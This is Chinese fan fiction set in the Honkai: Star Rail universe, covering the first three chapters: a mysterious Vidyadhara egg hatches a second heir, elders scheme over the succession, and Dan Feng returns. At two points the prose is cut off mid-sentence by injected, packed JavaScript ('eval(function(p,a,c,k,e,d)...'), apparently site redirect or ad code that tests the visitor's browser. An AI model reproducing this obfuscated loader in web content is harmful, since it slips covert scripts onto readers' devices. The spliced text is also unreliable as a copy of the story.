《持明族后继有我[星铁]》 1. 第1章 鳞渊境,罗浮仙舟的持明族圣地。 数千年前持明故星遭难,五位龙尊同仙舟缔结共治盟谊。其中,龙尊雨别带领持明族远徙罗浮仙舟。 罗浮庇护持明族,以此洞天相赠。雨别感念恩情,导引古海之水镇压被帝弓司命柘断后仍遗留的丰饶祸迹——仙舟长生灾厄之源,建木。 自此,罗浮持明族身负起守望建木封印之责。 时过境迁,如今的持明族虽仍为不朽龙裔,但仙舟联盟却早已不是当年三族鼎立的局势。 波月古海潮起潮落,云雾环绕,时有龙吟伴随海浪的呼啸融入风中,威压难掩。 古海淹没昔日龙宫,护珠人逐潮来去,而今尚存的寥寥建筑中,隐约可见入口处青石砖砌成的古旧建筑。 显龙大雩殿,古朴神圣且气势磅礴,高处平台的中央耸立着持明族世代供奉的龙尊雨别雕像。 “持明族人口式微,仙舟巡猎丰饶三千载,对付那群不死孽物早已得心应手,哪里用得着我们持明族前去以身犯险?” 沿石阶游荡的沙砾止于青绿色的水草丛,而风中的声音却未止息。 眼见无人应答,依旧傲慢的低哑声音再度响起:“持明族本该以逸待劳,偏偏咱们龙尊大人最擅长一意孤行。我们既为持明龙师,就理应恪守族规,通过龙师议会对龙尊的所作所为多加干涉……” 龙师,辅佐龙尊传承的导师,持明一族中位高权重的长老。 提到现任龙尊丹枫,龙师溯光面色沉重,收回了三百年来望向雕像时似怀念若悲痛的复杂目光。 他一瞬回神,青衣背对雕像,也挡住了清晨的和煦日光。 溯光视线如鹰锐利,无遗漏地扫视众位长老,最终锁定在一位素衣温婉的年轻女子身上。 察觉到不善,与他面对面的云华抬眼相视,对问责的人轻蔑一笑:“嗯?自我担任丹鼎司司鼎以来,为避仙舟六御徇私之嫌,早已不过问龙师议会的日常事宜。” 女子木簪挽起的墨发如瀑,垂落在素净到仅缀着药囊的丹士衣装上,俨然一派医者的仁慈形象。 但她有一双深红的瞳仁,在平和的气质里平白生出几分妖异。 溯光冷眼傲慢,撇开落在云华身上的视线,安静打量着按地位次序围了三圈的近百名龙师。 云华始终保持着平静冷淡,说话不紧不慢,却字字砸在每个不朽后裔的心尖上:“我在丹鼎司研制丹药闭关三月有余,出来才知道丹枫大人早已随云骑军出征。” “今早府上收到前线族人密报,上面以云吟秘法写着现况:丹枫与同队的镜流已失踪半月。失踪?那就是至今生死不明啊涛然长老。” “呵,云华大人这话可是将责任撇的真干净,当初也不知道是谁为避开丹枫去闭关的。这下好了,若是没了龙尊,谁来加固建木的封印?谁又来重振化龙秘法?!” 说到化龙秘法,龙师韶英甩袖置气,称得上年轻的脸庞神色阴沉,五官晃动几下,脸上写满了不满。 外圈的龙师们不敢言,要么面面相觑,要么唉声叹气。 每当这种时候,名为涛然的男子就会对他们的无能冷哼一声。 果不其然,人群中灰蓝发黄绿眸子的青年男子如往常般冷哼一声。 在场的人本以为他又要大发脾气,涛然却叹了口气,摊手表示无奈,以一种无能为力的轻巧口吻说道:“饮月素来骄妄专断,他要走,岂是我一介龙师能拦得住的?此战凶险异常,丹枫怕是有去无回,指不定连回古海蜕生的机会也没有了……” 饮月,即饮月君,是罗浮持明龙尊世袭的尊号。 持明一世寿数约八百载,龙尊雨别十世后即此世转生的龙尊名为丹枫。 停顿了一会儿,涛然继续道:“若得幸蜕生,期间大权旁落也就罢了,若铩羽于战场,龙尊后继无人,这可如何是好?” 轻碰手中还带着露珠的水草,所触化为乌有,年过六百岁的龙师雪浦半蹲着淡定拍拍手,缓步走过来。 外圈的众人自觉地向两边散开。 “不如按族规另选贤能,还是说——” 雪浦一边说着,一边走到涛然面前。 他一发话就引来了所有人的审视目光。 身侧小弟子搀扶下,雪浦凝视众人,吐露出令人脊背发凉的话语:“还是说,我等可取而代之?” 今日龙师相聚于此,便是为了丹枫后继者的大事。 云华眯了眯眼睛,涛然显得相当平静,韶英冷漠蹙眉。溯光不掩愤恨,目光如刀暗戳戳奔向雪浦。 龙师百人,真在大事前说得上话的不过十人,剩下的都是各自站队的执行者。 今日天未亮,龙师雲光带领护珠人巡查古海水底,查探似有异动的建木玄根,至今未归,故未能与会。 余下在观望局势的还有四人。 有人要挑战龙尊地位,就有人拥护龙尊正统。 明宴长发垂肩,双臂交叉倚靠在日光阴影里的昭言石墙上,原本独自欣赏龙尊雕像携枪踏浪的威严风姿。 听到雪浦大逆不道的发言,她极其黝黑的眼睛一厉,相当不屑道:“……欲盖弥彰。” 言者不占圈位也不站队位,但无人敢忽视她身为龙尊亲信的威严。 另选贤能? 龙尊生而知之,是不朽龙祖的天选之人,呼风唤雨宛若神明,那与生俱来的非凡力量岂是一般族人可企及的? 所谓的另选贤能,不过是彰显族规正义的幌子。 “毫无新意,真无趣。”大殿石墙最东侧的青年人容貌朗绝,正倚在潮信叉上闭目养神。 持明族虽不如仙舟天人族容颜常驻不老,却是样貌卓绝、各有千秋。 风浣收敛困意,睁开眼睛,冷眼瞥向视线追过来的雪浦。 雪浦挑眉,示意风浣把话说明白。 风浣正欲张嘴,忽然像是被什么东西的威压镇住了,怎么也说不出来。 他皱眉,欲有所动,偏偏以云吟术支撑他身躯的潮信叉也倒落,使得他险些跌坐在地。 其他人则出于龙裔本能般的洞察,在怪异尚未浮出水面前四下张望,试图在周遭寻找什么。 日光依旧清明,波月古海的海汐忍不住将万水掀起。 自众人正北方倒悬着一方海水,它带着千重浪起,降落下一颗闪着莹彩色的流星,带着浪涛横冲直撞,径直奔向显龙大雩殿。 “这是什么?” “嘶,疼疼疼,停下来!” …… 来自深海的澎湃水压席卷于此,没过昭言石墙,逼得诸位龙师为躲避冲击的水流狼奔豕突,完全顾不上素日自诩龙裔的高傲形象,乱作一团。 “在此处叫骂喧哗,成何体统!”见状,涛然怒吼。 霎时间,众龙师施展云吟术展开水罩防护,约莫半个时辰后才等到站稳的时候。 待古海潮汐离去,众人抬头遥送,回神间,几十双眼睛不掩诧异,将眼底的震惊画面定格在一颗伫立在半空中的珍珠质地、半透明的晶壳上。 隔着晶壳,隐约可见小小的龙形身影。 “咦?这是哪里来的持明卵?”转世蜕生的持明卵,也是持明族人的最初形态。 持明族为不朽龙裔,无父无母,无有繁衍,永远在蜕生轮回中循环,寿尽会重返古海结卵,转世再以幼体蜕生出水。 这颗随波月古海涨潮出水的持明卵气势汹汹而来,又消无声息地落在雨别雕像的枪尖上,唯我独尊的架势,颇有一股睥睨群生的傲然。 古海水底的持明卵弥足珍贵,由青壮的护珠人膺责守望,每颗持明卵均记录在族册。 这一枚持明卵倒不曾有云吟册的留影记号,众人忽觉奇怪。 “雨别大人显灵了?” 面对此刻的不同寻常,龙师们各有揣测。 方才明里暗里要在龙尊雕像前对龙尊传承不敬,龙师雪浦被水流打得最狠,灰发凌乱、衣衫扭曲,头上还沾了些水草和小螃蟹,样子尤为狼狈。 奇怪的是,他们竟对这场闹剧一点都不感到愤恨,涌上心头的首先是一种熟悉的害怕。 几度沉默间,不知何物自散发着奇异游光的持明卵中飞坠。 明宴眼疾手快,身形一闪,稳稳当当接住了它。 持明族崇尚强者,众人上前围观,垂睫思索。 无人敢在拥有如此澎湃力量的持明卵前有所不敬。 在明宴手心里捧着的,是一枚相当精致的玉坠:半圆弧形的青玉月亮清冷温润,下连花朵绳结样式的红色流苏,月亮捧着一颗浅蓝色剔透的雨滴,正反面各刻着一个字。 主理潜渊阁的两位老者先前还在观望,他们平日誊录复述龙尊梦历的往事并加注释,不理政权纷争,见此情形也不由得赫然一惊: “等等长老们,这股力量、这字、这颗持明卵是……前世雨别大人曾留下的,名为:汐,别?!” “她是雨别大人留下的第二位继承人啊!” 众龙师各怀心思,不约而同地陷入一阵诡异的沉默,紧接着达成了一致的结论: “若有丹枫大人惨遭不测,我等须奉她为主!” 不知是不是雨别显灵,‘碰’的一声,显龙大雩殿两侧的石盏灯重新点燃了光亮。 众龙师哗然。 耳边传来断断续续的聒噪声,躺在持明卵里的某个小持明半睁着眼,面无表情地捧着脸环顾陌生的卵壳。 她先是好奇地对自己的尖耳朵又摸又拽,然后抬手碰了碰头上如潮汐万水竞速腾空时呈现的雪蓝色的龙角,显然还没有睡醒。 刚刚好像掉了个什么东西,心里空落落的,就让下面的人给吵醒了。 听了半天勉强听明白了怎么个事,壳里的小持明很快接受了自己是龙尊的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殿外一直有护珠人守着,他们偶尔会凑近看看持明卵的状态如何,见持明卵不知何故动了动,便去请示龙师。 来的龙师是明宴。 这颗持明卵只允许她靠近。 黑色的瞳仁匆匆扫过护珠人,明宴的脚步停顿了一会儿。 下个瞬间,她带着侍女和备好的幼子衣裳来到雨别雕像旁,半俯下身,小心翼翼地触碰持明卵的外壳。 一阵强烈的悲伤与无言的宽恕包裹住她,明宴叹了口气:“雨别大人,您会怪我们吗?” “……”壳里的小持明默不作答。 她又睡着了。 待到东方显白,天边的第一缕日光照在显龙大雩殿,万籁俱寂后迎来的是崭新的一天。 护珠人早已退到了石阶外。 清阳的光线下,坐在龙尊雕像石台上睡着的明宴轻蹙秀眉。 她守着持明卵的时辰太长,以至于把自己等睡着了。 明宴睁开双眸,自下而上首先出现的景象是地上破裂的持明卵,紧接着是一个带着龙角的持明小娃娃。 月白色的头发垂在肩上,日光下暖洋洋的像柔软的云朵,又闪烁点点雪蓝色的光芒,左耳朵后侧还有一缕浓淡相依的红色挑染。 除了瞩目的持明龙相,最惹人的是那双云蓝色如波月古海的清眸,夹杂几分潮汐掀骇浪的雪色。 可惜的是,精致可爱的脸上没有一丝属于人世的表情。 见明宴醒来,约莫三尺半高的她还用食指轻轻戳了戳对方白皙的脸颊,难得好奇地歪了下头。 明宴收敛了惊诧的目光,起身又蹲下与她平视,缓声道:“少主大人可以叫我明宴,若是有幸,我也许会成为您的业师。” “哦。那你可以叫我……”刚蜕生的小持明仰头看向雨别雕像,又低头看了看自己的模样,一时间有些反应不过来,迟迟没有说话。 明宴轻笑:“您可以慢慢想。暂时没有名字也没关系。” 话音刚落,侍女将备好的衣物奉上并穿好,顺道很是体贴地帮小少主将伴生的玉坠挂在左肩位置的环扣处。 明宴站在一旁,等待间打开仙舟特有的通讯玉兆,不知看到了什么,神情逐渐微妙起来。 她收到了一则消息。 一则众人从期待已久到不再抱有希望的消息—— 丹枫要回来了。 明宴若有所思,先带着新降生的小少主离开这里,同时吩咐护珠人听雲光的安排去丹鼎司。 显龙大雩殿再无人晒太阳,空留几片无尽汐的花丛。 还有一尊孤零零的雨别雕像。 没多久,整个洞天飘起了细雨。 2. 第2章 仙舟联盟,银河数一数二的强大势力,由六座巨大的世界舰构成,各有所航。罗浮仙舟,因孤航时代领受建木,按地位曾是舰首,如今也称得上是联盟门面。 奇异的行星高挂在天上,楼阁巍然耸立,层观玲珑。优雅精巧的小舢板来来往往,驶过碧玉般的飞檐。 与鳞渊境的自然风光不同,仙舟人造洞天占了绝大多数,其间的往来几乎全靠星槎出行。 空中的航线转眼已尽,明宴带着小少主来到丹鼎司。 临渊府,隶属持明族治下龙师议会的日常理事之所。 远观下,临渊府白墙青瓦,望海而立。因丹鼎司占了洞天的中心位置,药烟半野,细嗅下周边地区的空气中也带着海风从岐黄署吹来的草药香。 众龙师整齐站成四列,以涛然、雪浦、韶英、风浣为首,见到来者时施以扶手额礼,姿态压得很低。 对此,小持明视若无睹,先是看了眼明宴,学着回敬族礼,接着毫不客气地牵着正犹豫要不要往前走的明宴,径直越过他们。 困,想睡觉。 她看不到他们的上半张脸,但记住了众人嘴角挂着各异的笑。 涛然笑容一滞。 又是个没礼貌的龙尊,偏偏他们还得好生供养。 打量着逐渐渺小的身影,雪浦带着小弟子,亦步亦趋跟在明宴后面。 雪浦沉吟片刻后问:“少主大人数日劳顿,不知是否需要什么吃食,咱们也好让下面人去准备。” 小持明拽了拽明宴的手指头,有些迟疑。 明宴点点头道:“距离午膳还有一段时间,你们且去备上些吧。” 话罢,雪浦松了口气。 他挥挥手招人来,嘱咐对方做些精致可心的吃食。 见状其他龙师也按捺不住了,纷纷凑上前,趁着小少主还有心情听,叽叽喳喳说个没完。 “少主大人天资非凡,生而知之,无需教导便可御水行舟,实乃我持明之幸。不知韶英是否有幸教习毕生所学,一睹少主大人的威武风姿?” “打打杀杀有什么好的?依我看不如学习岐黄丹药,随云华大人造福苍生!” “不知少主大人名讳,我等应该如何称呼?” “卿遇不才,曾为龙尊大人的业师,如今忝居潜渊阁,和逸书长老整理持明族内书籍梦卷。若得少主大人赏识,我两位希望自请为您的业师。” “不妥不妥,自仙舟丰饶大乱戡平,我等持明因人口减少地位难再。少主大人乃是天选之子,岂可当那贪生玩书的纨绔子弟?不若随我加入云骑军方,以备仙舟支援。” “已经搭进去了一个龙尊,尔等还要把少主大人往火坑里送吗?究竟是何居心?!” …… 龙师连哄带夸,话里话外争的是业师之位。 持明族万世一身,无可繁衍,也就没有父母家人。每个族人诞生后,都会有一位导师教导他掌握云吟法术以及各类生活常识,以便在仙舟更好的生活。 龙尊要特殊些,能力越强要学的东西也就越多。 历代龙尊生而不凡,龙师担当其成长阶段的业师并加以悉心教导,当然也少不了从年幼的龙尊那明里暗里讨些权力。 当初的丹枫就是自己选的业师,后来他独揽大权,跟龙师们闹的不可开交。 眼前这个,怎么看也是个桀骜不驯的小龙。 根据龙师的经验,非得好说歹说哄着,才能达到想要的结果。 “嗯?”被众人追着唠叨的小少主偏过头,挑了一个看起来笑容最正常的提问者,停顿片刻后,决定回答他的问题,“我记得他,雨别,你们可以先叫我雨别。” 霎时间,诸位龙师相顾哑然。 小祖宗敢这么说,剩下的一群人却不敢认。 “雪浦前辈真是老当益壮啊,大把年纪了还不忘关心年幼族胞。眼下少主大人怕是乏了,勿要再吵到她。” 瞧着几位龙师在不知所措下眉眼挤成一团的滑稽模样,明宴暗暗嗤笑一声,转而蹲下身,客客气气地对小少主开口道:“委屈少主大人暂居于此,我已命人寻一处宅院,约莫过些天您才能入住。” 小持明点点头。 明宴将她安顿好后离去,离开前特地看看她吃的是否称心,见小少主没有异样后,似乎还是不放心这群龙师,又留下侍女带她熟悉环境。 * 是夜,夜幕沉沉。 按理说新生的族人在接受大量见识后总会心神疲惫,应在梦中睡得很香甜,可这位祖宗辈的小持明并非如此。 她做了一个梦。 准确的说,自有意识起的很多很多天里,她只有这一个梦。 月色入户,屋内暗尘浮动。 后半夜的月光洒落,照在罗檀精雕且云海纹为饰的床头处。 睡着的小持明像是梦见了什么不好的东西,双手攥了攥拳头往空中使劲打了一下,反倒是把自己震了个半醒。 龙角于月光下闪烁,蓝色若翻腾之海,新生的龙裔无奈蒙住眼睛,却又烦恼于照进来的月光。 她翻身,那光作对似的跟着人跑。 月光透过两侧的窗纱,在燃着安神香的静谧房间中,这一束月光专门为她而来。 半大的小娃娃叹了口气,把头藏进柔软的被子里,闷闷的,呼吸难受,最终她认命般地睁开疲累的眼睛。 迷迷糊糊的起身,还一边打了几个哈欠,女孩捂嘴的手悬在半空,愣直看向倚坐窗沿斜睨她的陌生男子,发出一句疑问:“你谁?” 一位不速之客。 墨发及腰,右耳红色流苏自如水的珊瑚金环连下,给人一种不可冒犯的冷冽气质。 来人身着黑色里衣,搭配上白色鹤影外袍,玄色手袖与洞天四处驻守的云骑军形式相仿,一看就是常年作战的人。尤其醒目的是,男子腰间别着一片不知来自何处的枫叶。 长的是挺好看的,好像在哪里见过。 ……想起来了。 是雨别。 也是梦中出现的那个人。 “来吧!”她恍然,忽而笑着眯起了眼睛,朝对方伸出双臂,展开一个大大的怀抱。 回来吧,我无处安放只得在梦中相见的龙魂啊! 身形高大的男子没有说话,只是目光冷冷地打量她。 顷刻间,他身侧出现一个金云缠绕的黑白珠子,似海底旋流冒出的泡影自其中叠出,为月所烁。 同样出现的是那人头上的峥嵘角冠,青绿色的龙角和他的眼睛一样深邃,两侧眼角处还有不朽力量造就的枫红色。 “海泡泡?欸,怎么晕乎乎的?”她说着,好奇伸手。 触碰到泡泡的一瞬间,月影自空气中逐个幻灭,仅余喉间一阵窒息感,人也跟着昏了过去。 霎时间,一道金色的雷火光闪过,仅半息的工夫便将杀人于无形的水影碎裂殆尽。 “……腾骁将军?” 仙舟联盟由天人族、持明族、狐族共结,而持明族内自治。即便丹枫是他手下的云骑骁卫,可腾骁毕竟是罗浮仙舟的将军,按理说六御既无权也不应该干涉持明族内的事宜。 丹枫想不出腾骁这样做的理由。 他盯着这个带着龙角的小生命看了会儿,半阖着眼,青绿色的眼眸难掩决心。 很快,丹枫蹲下来,抬手靠近她的脸,修长的五指朝对方的脖子落下。 如龙心曾告诉他的:生命若微尘不值一提。 那般神明的高高在上,素日为他所不屑拥有。 然而,往日跟他作对的龙心此刻也毫不逊色。 龙心一瞬间狠狠揪住他的情绪,像每次梦中时前世记忆混沌又对注定的去路麻木憔悴,让他在看到她那抹红色的发丝心中一痛,难言的哀鸣蔓延在血骨中,令他迟迟下不了手。 她是龙师们争权夺利的傀儡,不应该存在。 丹枫反复提醒自己。 但还是下不了手。 于是丹枫就这样看着她昏睡,端详起她细腻的脸蛋,看了半天硬是也没看出个所以然。 良久,宛若玄冰不化的冷漠面孔在龙心不再躁动后逐渐平和。 丹枫利落起身,顺道把地上的小持明抱回床上,又用持明术法疗愈她。 或许是因为腾骁救人救的太及时,她并没有受到重渊珠的秘法伤害。 恰在此时,他听见涛然的声音从外传来:“我倒要看看,这仙舟上是哪个不要命的贼人胆敢擅闯我临渊府!” 见到门前昏倒的侍女,涛然怒骂一句,待他即将破门而入前,丹枫好心地给他把门打开。 涛然和身后的众人鸦雀无声,瞪大了双眼。 “龙尊大人,您,您回来了?” “托各位的福,我还活着。”丹枫漠然轻笑,朝后看了一眼,冲来的人问:“她是谁?” 现世的龙尊还没死呢,有些人的心思就耐不住了。 “是、是……” 戍卫也顾不得贼人为何变成了自家龙尊,目光闪躲,拼了命的挤眉弄眼给旁边的几位龙师递眼色。 丹枫冷哼,“话说不好就闭嘴。” 在场的龙师们噤若寒蝉。最终,涛然长叹一声,然后开口:“丹枫大人,还请借一步说话。” * 两人来到空旷的庭院,劲风吹浅,月光透过树影簌簌落下。 涛然将事情的经过一五一十告知丹枫,语气分外沉重。 “你的意思是,她是雨别用化龙秘法造出来的第二继承者?”丹枫半信半疑。 脑海中闪过疗愈时窥探到她梦境的一幕,心里也犯起了嘀咕。 耳边忽响起龙师沉重的劝解:“持明族人丁凋零,龙尊大人身负化龙秘法的秘密,却至今也难得悉全貌。不论如何,我希望龙尊大人留下她,为了族人,也为了化龙秘法。” 丹枫眯了眯双眼,拂袖离去,不置可否。 回来前他没少听说龙师间的明争暗斗,究竟是想利用她取代他的位置,还是借她夺取完整的化龙秘法? 果然还是杀了她比较省事吧。 但是腾骁将军…… 同为不朽后裔,希望她不要做出值得他当众大义灭亲的事情。 被龙尊忽视却没有慌张,涛然看着丹枫傲然离开的身影,目光在月光下逐渐变冷。 * 成为持明少主的第二天。 龙师们的注意力没有消失,只是发生了转移:从她身上转移到了‘死而复生’的丹枫身上。 临渊府格外热闹。昨日还在为她的业师人选争夺的龙师,今日就对丹枫这个第一继承者献殷勤,把在院子里喝茶的丹枫围得水泄不通。 直到她说要选个业师,才把众人视线的焦点聚拢过来。 “那我选——” 云蓝色的眼眸环视一圈,最终落到丹枫身上,还没他腿长的小持明脸上挂着倔强,扬声道:“他!” 一夜未眠,丹枫闭眼养神,忽感衣角一沉,他睁开眼,更为沉重的还有龙师痛心疾首的目光。 空气里除了沉默,还是沉默。 涛然倒吸一口气,被冷空气呛了好一会儿才扯着嗓子说:“你,你知道他是谁吗?” 汐识松开抓着丹枫衣角的小爪子,脸上带着一股执拗劲,故作轻松,道:“知道,他就是你们心心念念的饮月君丹枫。” “昨天不是说好的,在场的选几个年纪比我大的就行吗?是他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丹枫还没说完,话就被她打断,“我看别的小朋友起名字,家长捧着几本古书字字斟酌,怎么,我就只能让不认识的人取名字吗?” 你祖宗让你给她起名字,这难道不是一件该慎重的大事嘛! 丹枫在她眼底读出了名为羡慕的情绪,想到持明族人口寥落的境况,又瞥向她身上挂的玉坠,莫名心软了几分,“好,那我明天去买几本古书。” ……这重点不对吧? 算了,看他有些疲惫的样子,今天原谅他一下。 “好。那,你跟他们谈完事后,能不能带我去长乐天上找点吃的?”月白发的小持明垂着脑袋,不知道在想些什么。 丹枫点了点头。 汐识轻哼一声,乖巧坐在无人问津的椅子上。 她听着龙师最开始问候丹枫,问他怎么失踪这样久,丹枫以云骑机密为由堵住了他们的探究。 不过半个时辰,原本礼敬有加的龙师又恢复了本性,在会议室就族内事宜和龙尊互呛。 “少主大人真的要让龙尊大人费心照料吗?” 丹枫:“明宴跟我提过。就你们那个溺爱法,谁能压制她的性子?” “听地衡司的大人说,龙尊大人曾在三年前提议唯持明族入学宫要加一门体质测试,而今地衡司告示已出。哪有给自己族人设限的道理?依我看不如作罢,也免得给六御再添麻烦。” 丹枫:“不必多言,我自有考量。” “鳞渊境特产丰富,但诸如鳞渊天冬这般药材供不应求,云华大人提议,咱们是不是该找块田发展人工培植?” 丹枫:“倒是可以一试。” …… 屋内喧哗不断,转眼间太阳就要落山了。 说好带她去吃饭的,说好的她才是持明族的未来与希望,可现在大家的关注点都不在她身上了。 这里的一切,似乎都是围绕着丹枫和龙师们转的。 好饿。 白发的小持明蹲在角落里的书堆上,默默听着你一眼我一语的吵架,只觉得脑袋嗡嗡的。 中途她也曾轻轻戳了下最外圈明宴的手背,然,对方只是朝她点头露出一个略显疲惫的笑容,再次转头加入会议的热火朝天中。 丹枫出去了一年,期间堆积的族内事宜数不胜数,全仰赖他定夺。 “……” 无人在意的角落,持明族的希望蹲在那里挨饿。 壳外的世界真大,只有她一个人被视为圈子外的异类。 没有名字也没有饭吃的小朋友垂着头,向争吵的源头眨了眨眼,心跳在加速。接着,似乎是做了什么大胆的决定,她一句话也没有说,在众人本就忽视的目光中转头就跑。 对,到只有她一个人的地方去。 丹枫和龙师吵架时长袖各挥各的,无人发现置气的袖子后早就离开了个小持明。 她借御水术溜到鳞渊境,避开护珠人,来到一个很安静的地方。 一方潮汐来临会淹没大半的礁石堆。 这里很安宁,没有需要照料的持明卵,因此不会有护珠人来打扰她的思考。 她在思考她的龙生。 陆地上的一切人与事,原本与深海沉睡的她无关。 “汐,是什么意思呢?” 望着玉坠上的古字,她伸手抓住天边的霞阳,收回手时静默思考,从日落到月出。 自然,天地不朽的馈赠。 夕阳逐渐落到水中,海上升起明月。月光落下,海汐加速迭起。即便第二天的太阳会露出一缕光辉,但古海的潮汐恒在,不会轻易随时间散去…… 与天地的第一次相遇,是在潮汐翻涌中开始认识这个壳外的世界的。 再次睁开眼时,她发现夜幕铺满天地。 古海的恒水静静落下,将她所坐的大石块环绕于中央,水里还夹杂着浅浅蓝色的无尽汐花瓣。 “汐识,我的名字是汐识。” 3. 第3章 开族会这种事情,绝不是什么好差事。 无人晓得天黑了多久。 临渊府不断的争吵,是在丹枫要不要退出云骑军这个话题上终止的。 “丹枫大人啊!那群丰饶民不死不灭,更有步离狼人蠢蠢欲动,我们不能让您去白白送死,罔顾持明族繁衍大业啊!为天渊万龙之祖延续龙脉,这才是我们持明族万世不易的职责!” “持明族受仙舟数千年庇佑。唇亡齿寒的道理,难道涛然长老活了一百年还没想明白吗?”丹枫食指曲起,在桌案上轻敲了一声。 他执笔批阅堆压的文牍,中途冷悠悠地看向涛然和他身后的那群站队者。 涛然原本还有些颐指气使,见提议连连被丹枫否决,最终也只得单手扶额叹气,尖耳朵支棱着但不管用,颓废之姿难掩。 色厉内荏。丹枫心道。 他抬头望向门外,惊觉天至戌初时刻,站起身遣散众龙师,“时候不早了,各位都散了吧。” 丹枫打算去长乐天。 一是为了见腾骁将军,二是为了带某个家伙找点吃的。 “……” 丹枫怔住:“她人呢?” 等众人彻底回过神,发现上午还在眼皮子底下的小少主不知何时没了踪影。 持明身为不朽龙祖的龙裔,血肉皆有灵,说浑身上下都是宝也不为过,故觊觎持明力量的银河势力不在少数。 仙舟人历经长生三劫之乱后,重拾生命尊严,追随帝弓司命巡猎贪求长生的不死孽物,又讲求以和为贵、善待友邻。如若不然,当初雨别也不会与仙舟结盟,又以承载持明圣地的洞天封印丰饶遗祸的建木。 一个脱离了族人看护的幼崽,对来仙舟寻求长生和其他所求的极端分子而言,简直是行走的活宝贝。 要命的是,祖宗辈的小宝贝不见了。 丹枫扫了龙师们一眼,漠然平静的面孔上终于有了一丝波动。 众人再次哗然,忙不迭出门前去寻找。 等其余龙师走远,龙师韶英犹豫了瞬,伸出手交叠行礼,朝要出门的丹枫谨慎问道:“龙尊大人留步,韶英有事请教。” 身后传来一道探询的男声,丹枫停住步伐,问:“何事?” “事关化龙秘法。”见惯了龙尊的冷淡,韶英还是拧了下眉。 “说来听听?” 丹枫转身回眸,应了一声,抬首打量他。 韶英低声道:“化龙秘法乃龙尊传承,古有龙祖化水为生,以古海之水孕育我等。潜渊阁曾记载,五位龙尊上蒙垂听,受龙祖恩惠,万年前曾以化龙秘法化灵为我等持明。” 说到化龙秘法,他的语气重了几分。 “而今新人承袭云吟术法的资质一代不如一代,持明族在联盟的地位危在旦夕。丹枫大人长梦难解,龙尊万世一身,怎会冒出另一位龙尊的继承者?还是一位拥有相当强大力量的继承者?” “韶英是否可以这般揣测,是当初的雨别大人发现了什么,以至于成就了少主大人的出现?” 新人一代不如一代,龙尊亦是如此。 论气质,新降世的小少主和雨别眉眼的神情很像。可就五官样貌而言,她和雨别压根对不上号。 “不若趁此时机顺水推舟,先下手为强,为了持明族,为了不朽的延续,也为了稳固您的地位……” 先下手为强? 对幼崽动用前尘回梦针,麻痹她的五感,然后攫取她的记忆? 为了一个探知化龙秘法的可能性,龙师要牺牲一个幼崽,自己不敢下手当恶人,又要借刀杀人。 丹枫没有说话,回想起先前涛然的劝诫,逐渐冰冷的目光袭向韶英,盯得韶英心头一跳,“龙尊大人?” “我是她选定的业师之一,要怎么对待她,还轮不到你来教我。”丹枫扔下一声冷哼,阔步出门,御水化青影,龙跃而去。 从腥风血雨的战场上艰难归乡,这里的人都在等着算计他。 还不如那个一伸手就能掐死的小持明。 也不知道她从哪里冒出来的,轻而易举就成为了众矢之的。 找人的路上,丹枫也在思考涛然和韶英的话,似乎想到什么,他眼眸一暗,心下有了猜测。 莫非,她来自古海水下的实验室? * 夜间再无梦,一股极其浓烈又莫名的孤独感自周遭掀起,恰如潮水般涌来。 同样扑面而来的还有深海的叹息。 “你们以前不是这样的……” 汐识呆坐海边,双手捧起一汪清澈的海水,在感受到无声的伤感后沉默许久。 她撑着下巴在等日出。 约半个时辰前,汐识见到两抹游荡的前世蜃影。其中一个她在持明卵里面时见过,是半年前蜕生的一位龙师,曾跟护珠人在海上追着她报坐标。 据他们的谈话,汐识判断出另一个人是丹枫的近卫。 龙师跟他说:“龙尊万世一身,怎么会有两个继承人?非我族正统,其心必异!” 另一人则回:“我等龙卫,誓不背叛龙尊传承。” 两个人于争执间兵刃相向,少顷,双方蜃影于飞溅的水沫中消弭。 三尺高的礁石阶,波涛纷飞。波月古海静静地将各方的水流聚到一起,但还是有水珠选择了地面,最终化为一无所有的明日。 聆听如古海呼吸的潮汐声,汐识心中有些烦闷。 “正统,就意味着只有一个人吗……可如果我不是雨别的继承人,那我的梦为什么只有雨别和那片无尽汐?” “就因为,他长的更像雨别?” 这一日接收的信息是在太多,她需要发泄心中的烦躁。 言及于此,纳闷着纳闷着,她忍不住在潮汐的安慰中掉了几滴小眼泪。 持明族需要龙尊,龙师在争业师,丹枫回来了,丹枫跟龙师喜欢用吵架的方式说话……最可气的是,她跑到这里快一天了都没人找过来! 真的是一点也不在意她。 “好吧那我以后都不要叫雨别了,下一世下下世都不要这个名字,你们只能喊我尊贵的汐识大人。” 想不通就不想了,何必为难自己。 至于她和雨别的关系…… 掘地三尺见真知。持明族一世七八百载,每天挖一点,总会找到答案吧。 汐识揽住双腿,趴在膝盖上的手臂上兀自思考着,偶尔抬头数波月古海里的星星。 自从她离开古海,就总会听到波涛回响的悲鸣,不知是不是因为她走了,所以古海在感到难过。 可是,古海孕育出新的生命,蜕生的小人将拥抱更广阔的天地,这难道不该是一件值得高兴的事情吗? “别难过。”汐识伸手触碰海水中落在无尽汐上的星星,水面荡开一道轻柔的涟漪,一成不变的群星仿佛瞬间有了律动的生机,她垂首轻喃,“怎样的我,才能令你感到高兴呢?” 古海并不言语。 月亮在云中散去,东方渐次露出白色的曙光,天要亮了。 清晨的第一缕天光洒落,正照耀在少年白皙稚嫩的脸庞之上,他琥珀般的双目被光线衬得灿若新阳。 跟着刚认的师父来鳞渊境,镜流奉腾骁军令随龙师雲光前往建木玄根查探,徒留下景元一人在常人难及的古海闲逛。 持明圣地绝景,旷神宜人,好不自在。 波月古海的礁石上,似乎有一颗搁浅的珠玉白持明卵。持明卵在阳光下闪烁着一抹红色,似乎还有多种蓝色的细小光点。 景元满目惊诧,没想到能在海滩上看见持明卵,那可是深海里由护珠人特地看守的存在。 他走过去,想把持明卵送回古海,却在听到前方的轻微啜泣声时凝滞了思考。 近看是个尖耳朵的小持明。 长发垂下掩住了大半身形,浅云般的白发分两侧搭在腰间,几乎要笼住她小小的身躯,素蓝与绸白交织的衣裙随风蓬起。 